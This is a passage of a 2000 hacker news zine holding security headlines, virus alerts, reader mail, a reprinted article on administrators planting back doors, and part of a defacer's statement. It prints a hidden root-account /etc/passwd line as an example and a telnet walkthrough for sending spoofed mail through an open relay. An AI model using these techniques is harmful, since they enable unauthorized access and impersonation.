- FProphet '99
Since we provide only the links in this section, be prepared
for 404's - Ed
+++ When was the last time you backed up your important data?
s
++ Phony Tragedy Site Has Virus
Contributed by Slash
Alaska Airlines warns that a Web site seeking donations for victims of
Flight 261 is a phony and that it is carrying a virus.
Full Story <http://www.ukhackers.com/04020010.htm>
++ Tough U.S. Bank Privacy Regs
Contributed by Slash
U.S. regulators took a tough line Thursday on privacy protection for
personal financial information included in a historic overhaul of
Depression-era U.S. banking laws
Full Story <http://www.ukhackers.com/0402008.htm>
++ Patch Available for the Recycle Bin Creation Vulnerability
Contributed by Slash
Microsoft has released a patch that eliminates a security vulnerability
in Windows NT 4.0. This hole allows a malicious user to create, delete or
modify files in the Recycle Bin of another user who shared the machine.
Full Story <http://www.ukhackers.com/0402009.htm>
++ Behind the Scenes at 'Hackers, Inc.'
Contributed by Slash
Professional hackers roam Net to keep companies--and data--secure.
Full Story <http://www.ukhackers.com/0402007.htm>
++ The Net’s Dark Side: Protecting Your Privacy May Empower Criminals
Contributed by Slash
Surfing the Web. You thought you knew how dangerous it could be.
But many Americans might be astonished at how easy it is to uncover
the most sensitive personal information.
Full Story <http://www.ukhackers.com/0402006.htm>
++ RSA Security's Industry-Leading Encryption Technology Offered
in OpenSite AuctionNow and OpenSite Dynamic Pricing Toolkit
Contributed by Slash
Full Story <http://www.ukhackers.com/0402005.htm>
++ Essential Security for DSL and Cable Modem Users
Contributed by Slash
Zone Labs, Inc., today announced the immediate availability of the
new ZoneAlarm 2.0 Internet security utility.
full Story <http://www.ukhackers.com/0402004.htm>
++ F-Secure, Hewlett Packard team up in WAP security
Contributed by Slash
Finnish computer security company F-Secure said on Thursday it would
develop security for Internet-enabled Wireless Application Protocol
(WAP)
full Story <http://www.ukhackers.com/0402003.htm>
++ Experts Warn of Web Surfing Risk
Contributed by Slash
Computer experts are warning of a serious new Internet security threat
that allows hackers to launch malicious programs on a victim's computer
Full Story <http://www.ukhackers.com/0402002.htm>
++ Teen Hacker's Home Raided (Business Tuesday)
http://www.wired.com/news/business/0,1367,33889,00.html?tw=wn20000126
The home of the 16-year-old hacker who launched three major lawsuits
was raided Monday in Norway, and the international hacking community is
reeling from the news. By Lynn Burke.
++ Echelon 'Proof' Discovered (Politics 3:00 a.m. PST)
http://www.wired.com/news/politics/0,1283,33891,00.html?tw=wn20000126
NSA documents refer to 'Echelon.' Is it the suspected international
citizen spying machine or the name of a legal military project? The
researcher who found them thinks it's the latter. By Chris Oakes.
++ Vodafone Gets Its Mannesmann (Business 6:00 a.m. PST)
http://www.wired.com/news/business/0,1367,34077,00.html?tw=wn20000203
The three-month-long hostile bid by Britain's telecom giant is finally
about to end ... in a friendly takeover.
++ VA Linux Snaps Up Andover (Business 6:50 a.m. PST)
http://www.wired.com/news/business/0,1367,34076,00.html?tw=wn20000203
The Linux software distributor pays an estimated $850 million in
stocks and cash for the network of tech-info sites, which includes the
esteemed Slashdot.
++ Thumbs Down on Net Wiretaps (Politics 3:00 a.m. PST)
http://www.wired.com/news/politics/0,1283,34055,00.html?tw=wn20000203
The controversy about Internet wiretaps -- which pitted the FBI and
the FCC against the ACLU and the EFF -- has ended with a recommendation
against online surveillance. Declan McCullagh reports from Washington.
++ Copy-Protected CDs Taken Back (Technology 3:00 a.m. PST)
http://www.wired.com/news/technology/0,1282,33921,00.html?tw=wn20000203
BMG Germany pulls the plug on its first effort to protect CDs from
piracy after customers complain that some of the music is unplayable.
By Chris Oakes.
++ Moveable Media: Stick or Card? (Technology 3:00 a.m. PST)
http://www.wired.com/news/technology/0,1282,34052,00.html?tw=wn20000203
A new industry consortium thinks it has the portable answer to secure
storage of music and more: a secure digital memory card. Microsoft
signed on Wednesday. Look out, Sony Memory Stick.
++ Net Tax May Get the Heave-Ho (Politics Wednesday)
http://www.wired.com/news/politics/0,1283,34075,00.html?tw=wn20000203
It's a matter of changing one sentence in existing legislation. But if
Congress approves, the threat of Internet taxation could vanish
forever. Or at least for Washington's idea of forever. Declan McCullagh
reports from Washington.
++ Class-Action Suit Calls on AOL (Politics Wednesday)
http://www.wired.com/news/politics/0,1283,34063,00.html?tw=wn20000203
A lawsuit alleges America Online's newest software disconnects users
from competing online accounts. The filing requests $8 billion in
damages for version 5.0 users.
++ RealNetworks Helps Pay Piper (Technology Wednesday)
http://www.wired.com/news/technology/0,1282,34026,00.html?tw=wn20000203
The Net's streaming media giant adds technology from AudioSoft to
facilitate royalty payments to copyright holders. The system will count
streams and send the data to the collecting agency. By Christopher
Jones.
++ Virtual Training for Real Jobs (Culture Wednesday)
http://www.wired.com/news/culture/0,1284,33897,00.html?tw=wn20000203
Technology may be the cornerstone of the new economy, but people
lacking skills are being shut out of the market. One Texas program is
trying to get them into the game. Katie Dean reports from Austin,
Texas.
++ But, How to Pronounce Dot EU? (Politics Wednesday)
http://www.wired.com/news/politics/0,1283,34045,00.html?tw=wn20000203
The European Commission, wanting a piece of the dot com pie, launches
an initiative to give businesses on the other side of the pond a
uniform suffix.
-=-
Security Portal News Shorts
-=-
++ Trend Micro Virus Alerts: TROJ_FELIZ and W97M_ARMAGID.A
<http://www.antivirus.com/vinfo/> - a Windows executable and Word macro
virus respectively, both are low risk viruses, not believed to be widespread
++ ComputerWorld: Y2K gives some admins a security education
<http://www.computerworld.com/home/print.nsf/all/000101D96E> - The threat of
online assaults had IT staffs on guard, but midnight came and went without
any serious security problems cropping up, according to experts monitoring
systems
++ ZDNet: Script virus looks to ring in new year
<http://www.zdnet.com/zdnn/stories/news/0,4586,2415783,00.html?chkpt=zdnntop
> - The first virus to get its own press release in the year 2000 appears
to be little more than a nuisance. Meanwhile, pirate-killer Trojan.Kill also
quiet
++ Jan 1, 2000
Symantec: PWSteal.Trojan Virus
<http://www.symantec.com/avcenter/venc/data/pwsteal.trojan.html> -
PWSteal.Trojan is a trojan which attempts to steal login names and
passwords. These passwords are often sent to an anonymous email address
CNN: CA warns of Y2K-triggered virus
<http://cnn.com/1999/TECH/computing/12/31/ca.virus.y2k/index.html>
- CA said the "Trojan.Kill_Inst98" virus will delete all the files
on an infected PC's C: drive when the system clock rolls over to
Jan. 1, 2000
++ Dec 31, 1999
NAI: Zelu Virus <http://vil.nai.com/vil/dos10505.asp> - This is an
MS-DOS executable which can destroy data on the hard drive. The original
filename as received to AVERT is Y2K.EXE and is 24,944 bytes in size. If
this file is run, it simulates checking the system for Y2K compliancy.
It is not however doing any such thing - it is trashing files on the
local system rendering the machine inoperable. Not believed to be
widespread.
++ CNN: CA warns of Y2K-triggered virus
<http://cnn.com/1999/TECH/computing/12/31/ca.virus.y2k/index.html>
- CA said the "Trojan.Kill_Inst98" virus will delete all the files on
an infected PC's C: drive when the system clock rolls over to Jan. 1,
2000
Y2K Status Update
<http://securityportal.com/topnews/y2k19991231-jwr-10.html> - no news is
good news
++ Sophos Virus Alert: WM97/Chantal-B
<http://www.sophos.com/virusinfo/analyses/wm97chantalb.html> -
WM97/Chantal-B is a Word macro virus which drops a batch file virus and a
Visual Basic script trojan horse. On the 31st of any month the virus
displays the Microsoft Office assistant with the message: "Y2K is Coming
Soon". If the year is 2000 the virus attempts to delete all files in the
current directory and in the root directory of the C: drive
Sophos Virus Alert: WM97/BackHand-A
<http://www.sophos.com/virusinfo/analyses/wm97backhanda.html> - If the date
is Friday the 13th the virus password protects the document with the
password "Trim(Two)". Then, if the year is 2000, it resets the computer's
date to 1/1/1980
++ CERT: Estimate of the Threat Posed by Y2K-Related Viruses
<http://www.cert.org/y2k-info/virus_threat_est.html> - About a dozen
Y2K-related viruses have been reported, but they are not widespread.
Moreover, because viruses have to be executed to operate and because most
people will not be at their keyboards as the date rolls over, the likelihood
of a significant virus event is low. As people return to work next week, the
virus risk may increase somewhat for all types of viruses, but there is no
reason to expect a major outbreak.
NAI Virus listing: ExploreZip.C or Minizip III
<http://vil.nai.com/vil/wm10493.asp> - This is another variant of the
original W32/ExploreZip.worm distributed earlier in 1999. This version is
different in that it is "localized" with Spanish error messages however will
function on English Windows systems. This edition was compressed using
another compression tool. Not currently rated as a high risk threat
++ Dec 30, 1999
ZDNet: Apple's OS 9 patch brings new problems
<http://www.zdnet.com/zdnn/stories/news/0,4586,2415488,00.html?chkpt=zdhpnew
s01> - Although many users were impressed by Apple's quick reaction this
week to the discovery of a potential security flaw in Mac OS 9, those users
who have applied the new OT Tuner 1.0 patch are reporting loss of all
network connectivity or crashes during startup. Apple says patched machines
simply need to be restarted
++ Sun Security Bulletin 192: CDE and OpenWindows
<http://securityportal.com/topnews/sun19991230-192.html> - Sun announces
the release of patches for Solaris 7, 2.6, 2.5.1, 2.5, 2.4, 2.3 (SunOS 5.7,
5.6, 5.5.1, 5.5, 5.4, 5.3), and SunOS 4.1.4, and 4.1.3_U1 which relate to
various vulnerabilities in CDE and OpenWindows
Sun Security Bulletin 191 sadmind
<http://securityportal.com/topnews/sun19991230.html> - Sun announces the
release of patches for Solaris 7, 2.6, 2.5.1, 2.5, 2.4, and 2.3 (SunOS 5.7,
5.6, 5.5.1, 5.5, 5.4 and 5.3), which relate to a vulnerability with sadmind
Thanks to myself for providing the info from my wired news feed and
others from whatever sources, Zym0t1c and also to Spikeman for sending
in past entries.... - Ed
@HWA
01.2 MAILBAG - email and posts from the message board worthy of a read
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
========================================================================
The message board is DEAD it was an experiment that failed. Perhaps
i'll revive a board when I can run some good board software on our
own host.
Don't be shy with your email, we do get mail, just not much of it
directed to other readers/the general readership. I'd really like to
see a 'readers mail' section. Send in questions on security, hacking
IDS, general tech questions or observations etc, hell we've even
printed poetry in the past when we thought it was good enough to
share.. - Ed
=======================================================================
Seen on security focus:
To: Security Jobs
Subject: Virus coder wanted
Date: Thu Jan 27 2000 00:18:44
Author: Drissel, James W.
Message-ID: <CD11F9F59C6BD3118BF5009027B0F53B0884EC@adp-exch-1.cmet.af.mil>
Computer Sciences Corporation in San Antonio, TX is looking for a good virus
coder. Applicants must be willing to work at Kelly AFB in San Antonio.
Other exploit experience is helpful.
Send Resumes/questions to james.drissel@cmet.af.mil
-=-
From: <pyr0-phreak@geeks404.com>
To: <hwa@press.usmc.net>
Sent: Wednesday, January 05, 2000 1:02 AM
Subject: Just some comments
Hello staff of HWA,
Just thought i would tell u guys that u r doin a pimp ass job and if its
alright i would like to put a link up on my webpage to this interesting and
informative site. Mail me back plez.
Pyr0-phreak@geeks404.com
www.crosswinds.net/~pyr0phreak
-=-
From: Andrew Nutter-Upham <nutterupham@earthlink.net>
To: <hwa@press.usmc.net>
Sent: Sunday, January 02, 2000 9:42 PM
Subject: about your site.
I love the newsletter, read every edition. but your site sucks. now i
don't blame you, a lot of people have problems with good site design. I do
web design as a part time job, and I'd like (just to be nice, for money of
course.) to redo the site, if that's ok with you, I could leach the site
down, but i think it'd be easier if you could just zip it up and send it to
me. if you like my revisions feel free to keep them. if not, that's ok too,
i just thought that I'd put in the offer. Think it over. thanks for listening.
-andy
It sure does suck, its getting pretty shoddy and out dated looking, a tad
ragged around the edges, i've done some minor patch-up mods to make things
better but don't have time to work on it in a major way, perhaps we can get
something going here... - Ed
-=-
From: Lascarmaster <Lascars@iquebec.com>
To: <CRUCIPHUX@DOK.ORG>
Sent: Monday, January 24, 2000 1:58 AM
Subject: [ AD! ]
Hello CRUCIPHUX,
hello from France
my site is a french hacker portal with some good links and news for
hackers ( in french i prefer the word lascar )
by the way , if you could place this ad on your next hwa.hax0r
digest, it could be very nice
try my site at http://lascars.cjb.net
______________________________________________________________
French Hackers' Portal / Le Portail Des Lascars Francophones
Links and News of interest / Liens et news pour lascars. ;-)
--------------------------------------------------------------
->->->->->->->->-> http://lascars.cjb.net <-<-<-<-<-<-<-<-<-
______________________________________________________________
Le portail des Lascars c'est http://Lascars.cjb.net
Lascarmaster mailto:Lascars@iquebec.com
______________________________________________________________________________
Si votre email etait sur iFrance vous pourriez ecouter ce message au tel !
http://www.ifrance.com : ne laissez plus vos emails loins de vous ...
gratuit sur i France : emails (20 MO, POP, FAX), Agenda, Site perso
-=-
From: Dragos Ruiu <dr@v-wave.com>
To: <cc: list omitted>
Sent: Tuesday, January 25, 2000 9:50 PM
Subject: kyxspam: IMxploits in the news
(First reported in Salon huh.?... Bay Area tunnel vision is an interesting
phenomenon. Has anyone made the definitive IM vulnerability
and exploit page yet? As in I'M owned. --dr :-)
Hack Takes Aim at AOL Clients
Wired News Report
5:30 p.m. 24.Jan.2000 PST A security breach on AOL Instant Messenger put
the privacy of AIM users at risk on Monday, according to a published
report.
The breach, first reported in Salon, allows subscribers to link new AOL
accounts to AIM names that already exist. Holes in the sign-up process
allow people to get around the password protection of the AIM accounts.
"We are aware of it and are deploying security measures to defeat it," said
Rich D'Amato, a spokesman for AOL.
AOL's online service is used to changed passwords, so hackers are easily
able to open new accounts using the existing AIM user's name.
People who subscribe to AOL are not affected by the breach. People who use
instant messaging software (AIM) outside of AOL, are.
D'Amato called the security breach an example of "hacker behavior that
crosses the line into illegal action."
"Our intention is to investigate this and when we identify an individual or
groups of individuals, we intend to bring this to the attention of the
proper law enforcement authorities," D'Amato said.
He declined to speculate on when the problem will be fixed or how many
users were affected, although he characterized it as "a very small number."
David Cassel, who edits the AOL Watch mailing list, claimed the security
hole was easily preventable. It was simply a matter of someone thinking
through the sign-on process.
"AOL left a gaping hole in the way they implemented it," Cassel wrote in an
email. "Those who happened to have an AOL account weren't vulnerable, but
everyone else was. To promote such an easily cracked software really
violates any reasonable expectation of security. In that sense, all AIM
users were affected."
"AOL is a marketing company, not a technology company," Cassel wrote.
"They mass-promoted a software that's vulnerable to easy attacks."
--
kyx.net
we're from the future - home of kanga-foo!
-=-
From: Dragos Ruiu <dr@v-wave.com> To: <cc: list omitted> Sent: Tuesday,
January 25, 2000 10:32 PM Subject: kyxspam: hacking for politics.
http://news.cnet.com/news/0-1005-200-1531134.html?tag=st.ne.ron.lthd.1005-2
00-1531134
Hackers attack Japanese government sites By Reuters Special to CNET
News.com January 25, 2000, 11:40 a.m. PT
TOKYO--Japanese officials suffered an embarrassment today when hackers
penetrated two government Web sites, leaving a message in one of them
criticizing the Japanese government's position on the 1937 Nanjing
Massacre.
Computer systems at Japan's Management and Coordination Agency were raided
yesterday, and its home page was replaced with derogatory messages
insulting the Japanese in the first-ever hacking of the country's
government computer system.
The hackers left a message on the Web site in Chinese blasting the Japanese
government for refusing to acknowledge that the Nanjing Massacre took
place, media reports said.
Jiji news agency said it had deciphered the message, which originally came
in garbled, to read: "The Chinese people must speak up to protest the
Japanese government for refusing to acknowledge the historical misdeed of
the 1937 Nanjing Massacre."
Hundreds and thousand of civilians were massacred by Imperial Army troops
during the 1937-38 occupation of the central Chinese city.
A meeting by ultrarightist Japanese in Osaka last weekend to whitewash the
incident, also called the Rape of Nanking, has whipped up new anger in
China, where hundreds marched through the streets of Nanjing to denounce
the conference.
The Chinese government lodged protests about the gathering. But the
Japanese government, which acknowledges that the incident was no
fabrication as some ultrarightists claim, failed to bar the group from
holding the weekend meeting.
A similar hacking incident occurred on Japan's Science and Technology
Agency's home page. Agency officials declined to give details of the
messages but said the home page was also replaced with a direct access
switch to adult magazine Web sites.
Top government spokesman Mikio Aoki said the government would launch an
extensive investigation into the hacking incidents, including possible help
from Washington, which is more advanced in dealing with hackers.
"The government must take all necessary measures including seeking help
from the United States," Aoki said at a news conference.
Officials said it was not immediately clear whether the same hacker was
responsible for the two separate cases of infiltration.
Story Copyright © 2000 Reuters Limited. All rights reserved.
-- kyx.net we're from the future - home of kanga-foo!
-=-
From: Dragos Ruiu <dr@v-wave.com>
To: <cc: list omitted>
Sent: Wednesday, January 26, 2000 5:15 PM
Subject: kyxspam: who watches the watchmen?
(tip o'de hat to rfp's site {wiretrip.net} that had this article link. Luv dem
skins... --dr)
http://www.sunworld.com/sunworldonline/swol-01-2000/swol-01-security.html
Who gets your trust?
Security breaches can come from those you least suspect
Summary
Systems administrators have extraordinary access to all the data on corporate
systems. What can be done to ensure that your administrators will not betray
that trust?
WIZARD'S GUIDE TO SECURITY
By Carole Fennelly
In the business world you will often hear the statement "We don't hire
hackers." When pressed for a reason, the speaker usually reveals a fear that a
"hacker" will install a back door in the system. Time and time again, however,
I have seen back doors installed by employees or security professionals whose
integrity is never questioned. When confronted, they usually say it's no big
deal. After all, they have the root password. They just wanted to set up a root
account with a different environment. That's not hacking, right? Wrong. Their
intention did not matter -- the security of the system has been bypassed.
This article discusses how administrative privileges can be abused and
suggests some methods for countering that abuse. It is not meant to imply that
every administrator abuses privileges or has malicious intent -- just that you
shouldn't assume anything.
What is a back door?
Quite simply, a back door is a method for gaining access to a system that
bypasses the usual security mechanisms. (Has everyone seen WarGames?)
Programmers and administrators love to stick back doors in so they can access
the system quickly to fix problems. Usually, they rely on obscurity to provide
security. Think of approaching a building with an elaborate security system
that does bio scans, background checks, the works. Someone who doesn't have
time to go through all that might just rig up a back exit so they can step out
for a smoke -- and then hope no one finds out about it.
In computer systems, a back door can be installed on a terminal server to
provide direct access to the console remotely, saving the administrator a trip
to the office. It can also be a program set up to invoke system privileges from
a nonprivileged account.
A simple back door is an account set up in the /etc/passwd file that looks
like any other userid. The difference is that this userid doesn't have to su to
root (and it won't show up in /var/adm/sulog) -- it already is root:
auser:x:0:101:Average User :/home/auser:/bin/ksh
If you don't see it, look again at the third field (userid) and compare it to
the root account. They are the same (0). If you are restricting direct root
logins to the console only (via /etc/default/login), then this account will
have the same limitation. The difference is that if someone does su to this
account, it will not be apparent in /var/adm/sulog that it is root. Also, a
change to the root password will not affect the account. Even if the person who
installed the account intends no harm, he or she has left a security hole.
It is also pretty common for an administrator to abuse the /.rhosts file by
putting in desktop systems "temporarily." These have a way of becoming
permanent.
Back doors can also be set up in subtler ways though SUID 0 programs (which
set the userid to root). Usually, the motivation for setting up back doors is
one of expediency. The administrator is just trying to get a job done as
quickly as possible. Problems arise later when either (1) he leaves under
normal circumstances and the hole remains or (2) he leaves under bad
circumstances and wants revenge.
Proprietary data
A manager may also be reluctant to hire "hackers" for fear that they may
divulge proprietary information or take copies of proprietary data. Several
years ago, I was consulting at a company when a new administrator joined the
group. In an effort to ingratiate himself with the team, he confided that he
had kept the backup tapes from his old job (a competitor) and that they had
some "really cool tools." It so happened that a consultant with my own business
worked at the competitor's site. A scan of the tape revealed the proprietary
software that the administrator had been working on, which eventually sold for
a significant amount of money. While the admin probably did not intend to steal
the software, his actions could have left his new employer facing a large
lawsuit -- all for the sake of a few shell scripts. In this particular case, no
one believed that the administrator had any ulterior motives. I wonder if
people would have felt that way if he had been a "known hacker"?
System monitoring
Administrators are supposed to monitor system logs. How else can problems be
investigated? But there is a difference between monitoring logs for a
legitimate reason and monitoring them to satisfy prurient curiosity. Using the
system log files to monitor a particular user's behavior for no good reason is
an abuse of privileges.
What is a good reason? Your manager asks you to monitor specific logs. Or
maybe you notice suspicious activities, in which case you should inform the
management. Or, more commonly, a user complains about a problem and you are
trying to solve it. What is a bad reason? A user ticks you off and you want to
see how he is spending company time. Or a user has a prominent position in the
company and you want to know what kinds of Websites she goes to.
Countermeasures
You can take some actions to ensure the integrity of privileged users, but
none of them carries any guarantee.
Background checks
You can have an investigative agency run a background check on an individual
and you can require drug tests. These tell you only about past behavior (if the
individual has been caught).
The state of New Jersey (where I live) has adopted a law commonly referred to
as Megan's Law (see Resources). The law mandates that a community be notified
of any convicted sex offender living in the community. On the surface, it
sounds like a great idea and a way to protect children from predators.
As a parent, I am particularly sensitive to crimes against children. I
received a Megan's Law notification this past year about a convicted sex
offender who moved into town. It did not change a thing for me. My feeling is
that every child molester has to have had a first time and that in any case not
all molesters have been identified. Therefore, I take appropriate precautions
with my children, regardless of who has moved to the area.
In the technical field, hackers are considered the molesters. (Yes, I know
all about the politically correct terms cracker, defacer, etc., but the common
term these days is hacker.) How do you know if someone is a "hacker"? Some
people try to refine the term to mean "someone who has been convicted of a
computer crime." But let's say, for example, that you attend Defcon, the
hackers' conference, and encounter an intelligent job seeker with bright blue
hair and funky clothes. Would you hire him? Chances are that you would at least
scrutinize his credentials and make sure your contract spelled out all details
of the work to be performed and the legal repercussions for any violations.
What if the same person showed up for an interview with the blue dye rinsed out
and in a nice pressed suit? Be honest: would you perform the same background
checks regardless of a person's appearance?
Technical measures
Some technical software packages can limit or control superuser privileges. I
recommend using them to prevent the inadvertent abuse of superuser privilege.
Unfortunately, knowledgeable administrators and programmers with privileged
access will be able to circumvent these measures if they really want to.
sudo
The freely available sudo package provides more granular control over the
system by restricting which privileged commands can be run on a user basis. See
Resources for the Sudo main page, which has a more complete description.
Tripwire
Tripwire is a file integrity package that, following the policy determined by
the administrator, reports any changes made to critical files. Tripwire was
originally developed at Purdue University by Gene Kim under the direction of
Eugene Spafford. I plan to evaluate the merits of the commercial version of
Tripwire in a future column. Tripwire is a good way for an administrator to
tell whether the system files or permissions have been modified.
What can be done, however, if the senior administrator who monitors the
system has malicious intent?
Professionalism
The best defense against the abuse of administrator privileges is to rely on a
certain level of professionalism. The medical Hippocratic oath includes the
mandate Do No Harm. While there is no such professional oath for systems
administrators, you can establish guidelines for acceptable behavior. During
the mid-1980s, I worked as an administrator in a computer center at a large
telecommunications research facility. We had a code of ethics that a user had
to sign before an account could be installed. We also had a code of ethics for
privileged users that included additional restrictions, such as:
No SUID 0 (set userid to root) programs will be installed without the
consent, in writing, of the senior administrator.
All users' email is to be considered private and confidential and may not be
read by anyone other than the intended recipient.
Users' files may not be modified or read except in the case of a
predetermined problem or security investigation. Be prepared to justify.
Privileged users are often entrusted with sensitive information, such as an
employee termination, before other employees. This information is to be kept
confidential.
The root passwords are changed monthly and are to be distributed by the
senior administrator only. The passwords must be kept in a safe location, such
as your wallet. If the password is lost, notify the senior administrator or
your manager immediately.
Keystroke monitoring of user activities is strictly prohibited without senior
management approval, in writing.
All administrative procedures and tools are to be considered proprietary
information and are the property of the computer center.
Tape archives may not be removed from the facility without written approval.
Discretion
A code of ethics for privileged users should not be considered a punitive
device, but rather a statement about the integrity of the person who signs it.
At one point during my years in the computer center, the secretary to the
president of the company came to me with a printer problem. As I was assisting
her, she became upset when she realized that the test job she had sent to the
printer was highly confidential. I was able to reassure her that all
administrators were bound by a code of ethics and would be terminated for
violations. (Besides, I wasn't really reading it, I was just looking for
garbage characters!) Professionals must establish a certain level of trust.
This is especially important for those privy to sensitive information regarding
terminations or investigations.
Final thoughts
Would I hire someone who showed up for an interview with blue hair, body
piercings, and a name like 3v1l HaK0rZ? No. Not because he might install a back
door, but because he was ignorant about what was acceptable on Wall Street. As
for the back doors? More are installed by well-groomed "professionals" in suits
than by "hackers." Anyone with the required skills can be either a "security
consultant" or a "hacker." The only difference is the label.
Disclaimer: The information and software in this article are provided as-is
and should be used with caution. Each environment is unique, and readers are
cautioned to investigate, with their companies, the feasibility of using the
information and software in this article. No warranties, implied or actual, are
granted for any use of the information and software in this article, and
neither the author nor the publisher is responsible for any damages, either
consequential or incidental, with respect to the use of the information and
software contained herein.
s
About the author
Carole Fennelly is a partner in Wizard's Keys Corporation, a company
specializing in computer security consulting. She has been a Unix system
administrator for almost 20 years on various platforms and of late has focused
on sendmail configurations. Carole provides security consultation to several
financial institutions in the New York City area.
--
kyx.net
we're from the future - home of kanga-foo!
-=-
02.0 From the editor.
~~~~~~~~~~~~~~~~
_____ _ _ _ _
| ____|__| (_) |_ ___ _ __( )__
| _| / _` | | __/ _ \| '__|/ __|
| |__| (_| | | || (_) | | \__ \
___|_____\__,_|_|\__\___/|_| |___/
/ ___| ___ __ _ _ __ | |__ _____ __
\___ \ / _ \ / _` | '_ \| '_ \ / _ \ \/ /
___) | (_) | (_| | |_) | |_) | (_) > <
|____/ \___/ \__,_| .__/|_.__/ \___/_/\_\
|_|
#include <stdio.h>
#include <thoughts.h>
#include <backup.h>
main()
{
printf ("Read commented source!\n\n");
/*
* Yes we've wavered from our weekly release schedule, sorry
* about that, i've been indulging in other projects requiring
* more of my time (network IDS related etc) but you will find
* pretty much full coverage of the time period Jan 16th to Feb
* 12th or so included in this issue.
*
* I've rearranged stuff a little, i've moved some of the fodder
* that i'm sure was annoying some people and definately at
* at least one (grin) to the END of the newsletter, into the
* appendices where it should probably have been in the first
* place. So if you're looking for the gov and mil sites that
* have scoured our site or want to check the FAQ or our source
* or resource lists etc, they have all been moved to the back
* so now you can more or less 'dive in' to the news material
* and content without paging thru stuff you may have already
* seen a million times.
*
* Also did a slight modification/clean up of the website, its
* going to be redone but meanwhile i've made it a little less
* cumbersome and easier to navigate. Also added a toy or two
* want a user@hax0r-news.zzn.com mail address? I knew you did
* (heh) well now you can, just follow the link and away you
* go to yet another web based mail account...sorry appears to
* be no forwarding. <beh>
*
* This will include alot of HNN rehashed material, i'm working
* on automating the retreival of certain news sources for time
* saving in creating these issues, since we have access to
* other sources of info that don't get explored as often as
* I'd like, also keeping up with exploits is not so difficult
* now that packetstorm no longer has the contact base it once
* did. If you can suggest sites that get 0-day (grin) or current
* exploit code or the sites of the coders themselves, please
* send in the url/list info etc so we can keep everyone up to
* date.
*
* I shall finally be asking some help from people, I can no
* longer do this by myself to my satisfaction, so I hope to
* enlist some eager beavers with time to kill on this project
* rather than let release dates drift further and further
* apart.
*
*
* Things are a bit messy and not necessarily in chronological
* order, I don't like it but thats the way it turned out, I
* really need to spend more time on this to get it organized
* more neatly and make it more accessible, comments welcome.
*
* We need more submissions!, if you submit to security NG's or
* mailing lists about exploits or security concerns that you
* think may be of interest to our readers, consider CC: a copy
* to me for inclusion here. I try and cover a broad spectrum
* (perhaps too broad) of security/hacker related material and
* as such a little help with material would be most appreciated.
*
* mucho props out to Zym0t1c who is contributing more and more
* to the zine lately, thanks dude!
*
* Cruci
*
* cruciphux@dok.org
* Preffered chat method: IRC Efnet in #HWA.hax0r.news
*
*/
printf ("EoF.\n");
}
Snailmail:
HWA NEWS
P.O BOX 44118
370 MAIN ST. NORTH
BRAMPTON, ONTARIO
CANADA
L6V 4H5
Anonymous email:
telnet (wingate ip) (see our proxies list)
Wingate>0.0.0.0
Trying 0.0.0.0...
Connected to target.host.edu
Escape character is '^]'.
220 target.host.edu ESMTP Sendmail 8.9.3/8.9.3; Sun, 6 Feb 2000 17:21:00 -0500 (EST)
HELO bogus.com
250 target.host.edu Hello ~ereet@target.host.edu [ 0.0.0.0 ], pleased to meet you
MAIL FROM: admin@nasa.gov
250 admin@nasa.gov... Sender ok
RCPT TO: cruciphux@dok.org
250 cruciphux@dok.org... Recipient ok
DATA
Secret cool infoz
.
QUIT
If you got that far everything is probably ok, otherwise you might see
550 cruciphux@dok.org... Relaying denied
or
550 admin@nasa.gov... Domain must exist
etc.
* This won't work on a server with up to date rule sets denying relaying and your
attempts will be logged so we don't suggest you actually use this method to
reach us, its probably also illegal (theft of service) so, don't do it. ;-)
-=-
Congrats, thanks, articles, news submissions and kudos to us at the
main address: hwa@press.usmc.net complaints and all nastygrams and
mai*lbombs can go to /dev/nul nukes, synfloods, trinoo and tribe
or ol' papasmurfs to 127.0.0.1,
private mail to cruciphux@dok.org
danke.
C*:.
-= start =--= start =--= start =--= start =--= start =--= start =--= start
____ _ _
/ ___|___ _ __ | |_ ___ _ __ | |_
| | / _ \| '_ \| __/ _ \ '_ \| __|
| |__| (_) | | | | || __/ | | | |_
\____\___/|_| |_|\__\___|_| |_|\__|
/ ___|| |_ __ _ _ __| |_
\___ \| __/ _` | '__| __|
___) | || (_| | | | |_
|____/ \__\__,_|_| \__|
-= start =--= start =--= start =--= start =--= start =--= start =--=
03.0 Slash, Croatian cracker, speaks out
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The following is from one of the last defacements that Slash has done, he
has since renounced defacing and is starting a new security group called
b0f (Buffer Overflow) we'll keep you posted as this develops. - Ed
Defaced by slash [ 2.1.2000 ] Original site here
(http://www.attrition.org/mirror/attrition/2000/01/08/www.badjura-petri.com/index-old.html)
www.badjura-petri.com - I got some interesting mail in the last few days that I
want to share with You. The first one is from a Security Consultant David Hove, who
works for a company named "RISCmanagment Inc." (www.riscman.com), and this is
what he wrote to me in his mail :
------
Numb Nuts,
Your judgments lay upon broken young souls who know no better. Let it be! Hackers
will hack regardless of holes previously exploited. If the sys adm does not fix their
holes this is not the issue. Hacking for fame is not the issue. You yourself mailed your
hack in for recognition did you not. STOP THE HYPOCRISY AND SIMPLY HACK. Who
the hell are U to dictate what should be placed on a defaced website? I personally
work the other side of the fence specializing in keeping you out but thoroughly enjoy
watching you and others like you go about your daily routine. Exploiting port 80,
buffer overflows, running your little scripts, ect. Fuck ethics! The harder you try to
hack the more aware we become as admins. For those admins who do not keep up
Fuckem!
David Hove
Security Consultant
CCSA/CCSE
RISCmanagement Inc.
www.riscman.com
-------
Deer Mr. David, your email made me very sad because I realized that people don't
get the message I'm trying to say. Hacking previously hacked sites is considered lame,
and yes, hacking for fame is the issue. Hackers now adays hack only to get media
attention. In my country a 16 year old Back Orifice user was raided for "hacking" a
computer of a Croatian politian. The media made a national hero out of him. In the
interview he said that he could hack into a bank with just two of his friends and a
good computer. Now, people who read that newspaper bought the story, but people
who know young Denis via IRC can confirm that he is a complete idiot an a lamer. His
parents are so proud of him, not knowing that anyone can "hack" using Back
Orifice.
About me mailing my hack to attrition. Yes, I did mail the hack to attrition, you
know why !? I deface to spread the message out. I personally think if I just deface
the site that people wont notice it. So I report it to attrition and they put a mirror of
the site I defaced so other people can view it too. I don't do it for the fame. I could
hack under a different name everytime, but this is my style. I don't got braging on IRC
"I hacked this..", "I hacked that..". I don't have to prove my skillz to anyone. People
can respect me or hate me. I sincerely doubt that defacing a site will make me look
better infront of my friends. Almost anyone can find himself a remote exploit and run it
against the server. But not anyone can secure a Unix server, program or even make
